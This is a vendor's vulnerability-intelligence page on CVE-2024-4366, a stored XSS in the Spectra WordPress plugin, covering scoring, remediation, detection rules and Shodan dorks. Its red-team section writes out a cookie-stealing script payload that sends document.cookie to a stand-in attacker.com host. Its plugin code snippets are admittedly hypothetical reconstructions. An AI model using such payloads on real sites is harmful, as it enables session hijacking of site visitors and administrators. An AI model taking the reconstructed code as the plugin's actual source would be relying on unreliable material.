☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-4366

CVE-2024-4366 Cross-Site Scripting in Spectra
📅 PUBLISHED: 2024-05-24 07:30 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-4366 is a Stored Cross-Site Scripting (XSS) vulnerability in the Spectra – WordPress Gutenberg Blocks plugin (versions up to and including 2.13.0). This flaw allows authenticated attackers with at least Author-level permissions to inject arbitrary web scripts via the block_id parameter. The vulnerability stems from insufficient input sanitization and output escaping, enabling persistent script execution whenever a victim accesses the compromised page. Given the plugin’s widespread use in the WordPress ecosystem, this poses a significant risk to site integrity and user data.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No package manager (NPM, PyPI, Go, Ruby) is involved. The risk is limited to the WordPress plugin supply chain, where users must manually update or patch the plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Author-level)
  • User Interaction: Required (victim must visit the page)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can lead to session hijacking, defacement, or phishing attacks.

Deep Dive & Mechanics

The vulnerability resides in the Spectra plugin’s block rendering logic. The block_id parameter, used to identify specific Gutenberg blocks, is not properly sanitized before being stored in the database or output in the HTML. When an Author-level user creates or edits a post using a Spectra block, they can inject malicious JavaScript into the block_id field. This script is then stored and executed in the browsers of any user viewing the post, including administrators.

Root Cause: The plugin fails to escape the block_id value when rendering the block’s HTML attributes, allowing arbitrary HTML/JavaScript injection.

Attack Flow:

  1. Attacker with Author privileges creates a new post or edits an existing one.
  2. In the block editor, the attacker manipulates the block_id parameter (e.g., via a custom block or direct request) to include a payload like "><script>alert('XSS')</script>.
  3. The plugin stores the malicious block_id in the post metadata.
  4. When any user (including admins) views the post, the injected script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.13.0):

// In block render function
$block_id = get_post_meta( $post_id, 'spectra_block_id', true );
echo '<div id="' . $block_id . '">'; // No escaping

Patched Code (Hypothetical):

$block_id = get_post_meta( $post_id, 'spectra_block_id', true );
echo '<div id="' . esc_attr( $block_id ) . '">'; // Proper escaping

The fix requires using esc_attr() or wp_kses_post() to sanitize the output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with Spectra plugin <= 2.13.0
  • Author-level account credentials

Steps:

  1. Log in as an Author.
  2. Create a new post and add a Spectra block (e.g., Advanced Heading).
  3. Intercept the request (e.g., via Burp Suite) and modify the block_id parameter to:
    "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Publish the post.
  5. When an admin views the post, the script executes, exfiltrating cookies.

Proof-of-Concept (PoC) Code:

// JavaScript payload to steal cookies
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + document.cookie;

Blue Team (Detection & Mitigation)

Detection:

  • Monitor for unusual block_id values in post meta (e.g., containing <script> tags).
  • Use WAF rules to block requests with suspicious block_id parameters.

Mitigation:

  • Disable the Spectra plugin until a patch is applied.
  • Implement a custom filter to sanitize block_id:
    add_filter( 'spectra_block_id', 'esc_attr' );
    

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/spectra/spectra.php (version <= 2.13.0)
  • Database: Post meta entries with spectra_block_id containing HTML/JavaScript.
  • Network: Outbound requests to attacker-controlled domains from WordPress admin pages.
  • Logs: HTTP requests to /wp-admin/post.php with modified block_id parameter.

Detection Engineering

YARA Rule

rule CVE_2024_4366_Spectra_XSS {
    meta:
        description = "Detects Spectra plugin files vulnerable to CVE-2024-4366"
        author = "Valters IT"
        date = "2024-10-27"
    strings:
        $vuln_func = "get_post_meta( $post_id, 'spectra_block_id', true )"
        $unsafe_echo = "echo '<div id=\"' . $block_id . '\"';"
    condition:
        $vuln_func and $unsafe_echo
}

Sigma Rule

title: CVE-2024-4366 Spectra Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2024-4366 via suspicious block_id parameters
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/wp-admin/post.php"
        cs-method: "POST"
        cs-uri-query|contains: "block_id"
        cs-uri-query|re: "<script|<img|onerror|onload"
    condition: selection
falsepositives:
    - Legitimate use of HTML in block_id (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4366 Spectra Stored XSS Exploit"; flow:to_server,established; content:"/wp-admin/post.php"; http_uri; content:"block_id"; http_client_body; pcre:"/<script|<img|onerror|onload/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Spectra plugin until a patched version is released.
  2. Review and sanitize all existing posts for malicious block_id values.
  3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in block_id.

Long-Term Fix:

  • Apply the vendor patch when available (currently none).
  • Upgrade to a patched version (expected > 2.13.0).
  • Enforce principle of least privilege: restrict Author-level users from using custom blocks.

Workaround:

  • Add a custom function to your theme’s functions.php:
    add_filter( 'spectra_block_id', 'esc_attr' );
    

Valters IT – DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/spectra"
http.html:"spectra" "wp-content"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-4366/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.